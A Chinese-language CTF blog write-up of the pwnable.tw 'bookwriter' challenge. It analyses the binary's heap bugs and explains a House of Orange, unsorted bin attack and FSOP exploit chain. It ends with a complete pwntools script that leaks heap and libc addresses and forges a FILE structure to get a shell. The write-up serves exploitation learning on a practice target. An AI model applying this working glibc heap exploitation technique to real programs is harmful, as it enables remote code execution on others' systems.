LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

pwnable.tw中的bookwriter

分析

首先看一下程序反编译之后的结果,程序一共给出了五种操作add, view, edit, information, exit。在程序的开始首先是输入0x40字节大小的author name

  • information函数中,如果我们将author的数据输入长度为0x40且不存在\x00的话,其会打印出author数据之后的内容,也就是pageList[0]的数据,这样我们就获得了heap address,利于我们后面的伪造

  • add操作中,由于其对index的判断错误,导致我们可以将pageList后面限制输入长度的sizeList的第一个元素覆盖为malloc分配的堆块的地址,注意到这一般是一个很大的长度,因此我们可以对pageList[0]进行堆溢出的操作。

  • edit函数中,使用了strlen函数作为限制输入的长度的更新值。但是注意到,如果我们将数据输入满(针对使用pre_size域的情况)的话其会和下一个chunksize字段相连接,这样得到的len的数值要多出2-3个字节的长度,也就是我们可以覆写下一个chunksize域。可以完成house of orange

漏洞利用

  1. 利用House of orange,通过覆写下一个chunktop chunksize域,再次申请一个较大的chunk,即可将当前的top chunk释放到unsorted bin中。

    这里覆写top chunksize域的时候需要绕过一些验证

    1
    2
    > assert ((old_top == initial_top (av) && old_size == 0) ||          ((unsigned long) (old_size) >= MINSIZE &&           prev_inuse (old_top) &&           ((unsigned long) old_end & (pagesize - 1)) == 0));
    >

    即需要满足size>MINSIZE(0x10)prev_inuse=1size大小页对齐(低3位为0)

  2. 我们通过information函数获取得到heap address,在这其中回调用scanf函数,该函数会直接申请一块0x1000大小的chunk并且不会释放,这就满足了1中的申请一个较大的chunk

  3. 注意到这时unsorted bin中存在一个chunk,其fd,bk指针均指向malloc_hook+88的位置。此时我们再次申请一个chunk的话,该chunk中包含bk指针,这样我们可以泄露libc地址。

    连续申请8chunk,此时的sizeList[0]已经被覆写。

  4. 注意到此时我们已经可以进行堆溢出,也就是可以控制unsorted bin中的chunkfd,bk指针。当我们申请一块新的chunk的时候,其会在unsorted bin中进行分割。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    {
    bck = victim->bk;
    //...
    if (in_smallbin_range (nb) &&
    bck == unsorted_chunks (av) &&
    victim == av->last_remainder &&
    (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
    //分割unsorted bin
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
    av->last_remainder = remainder;
    remainder->bk = remainder->fd = unsorted_chunks (av);
    //...
    return p;
    }
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);
    //...
    }

    这里需要用到的是unsorted bin attack,此时需要修改fd,bk指针,因此修改了bk指针,即改变了bck的值,因此绕过了第一个if条件判断,执行类似于unlink的操作,将unsorted bin链表中的最后一个chunk从链表中卸下。因此我们可以将unsorted_chunks (av)main_arena+88的地址写入任何的位置。

  5. 这里利用FSOP,覆写_io_list_all指针为当前的main_arena+88的地址。

    bk指针设置为IO_LIST_ALL-0x10的地址,也就是bck的值,当进行类似于unlink的操作的时候,bck+0x10指向的位置就被覆写为main_arena+88的地址。

  6. 但是我们无法控制main_arena+88位置的内容,但是我们可以利用触发_IO_flush_all_lockp函数时调用的fp=fp->_chain,即控制_chain字段,也就是FILE结构体的第14个字段,main_arena+184地址处的值。我们注意到main_arena+184的位置恰好是small_bin[5]处,也就是将chunksize大小修改为0x61,就可以将main_arena+184的地址覆写为当前chunk的地址了。这就修改了_chain的值,并指向当前的chunk

  7. 修改chunk中的vtable值,使vtable[3]=system_address即将_IO_overflow设置为system的地址。因为FSOP通过触发_IO_flush_all_lockp函数,进而对每个FILE结构体调用fflush函数,也对应着调用_IO_overflow函数。进而getshell

    注意在伪造vtable的时候需要绕过一些验证

    1
    2
    3
    4
    5
    6
    > if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
    > && _IO_OVERFLOW (fp, EOF) == EOF)
    > {
    > result = EOF;
    > }
    >

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

context.log_level="debug"
debug = 0
elf = ELF("./bookwriter")
if debug:
p = process(['./bookwriter'])
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10304)
libc = ELF("./bookwriter_libc_64.so.6")


def addPage(size, content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("page :")
p.sendline(str(size))
p.recvuntil("Content :")
p.send(content)


def viewPage(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("page :")
p.sendline(str(index))


def editPage(index, content):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("page :")
p.sendline(str(index))
p.recvuntil("Content:")
p.send(content)


def information():
p.recvuntil("choice :")
p.sendline("4")
'''
content = p.recvuntil("(yes:1 / no:0)")
p.sendline(str(choice))
return content
'''


# free top chunk to get a unsorted bin
p.recvuntil("Author :")
p.send("a"*0x40)
addPage(0x18, 'a'*0x18)
editPage(0, 'a'*0x18)
editPage(0, '\x00'*0x18+'\xe1'+'\x0f'+"\x00")
information()
p.recvuntil("a"*0x40)
heap_address = u64(p.recvline().strip().ljust(8, "\x00"))
p.recvuntil("(yes:1 / no:0)")
p.sendline(str(0))
print "heap address", hex(heap_address)

# get libc address
for i in range(8):
addPage(0x40, "a"*0x8)
viewPage(2)
p.recvuntil("a"*0x8)
libc.address = u64(p.recvline().strip().ljust(8,"\x00"))-88-0x10-libc.symbols['__malloc_hook']
print "libc address", hex(libc.address)
system_address = libc.symbols['system']

# overwrite IO_list_all, make fake FILE struct and fake vtable pointer
editPage(0, '\x00' * 0x290 + '/bin/sh\x00' + p64(0x61) + p64(libc.address) + p64(libc.symbols['_IO_list_all'] - 0x10) + p64(2) +
p64(3) + p64(0) * 3 + p64(libc.symbols['system']) + p64(0) * 17 + p64(heap_address + 0x290 + 0x8*6))

p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()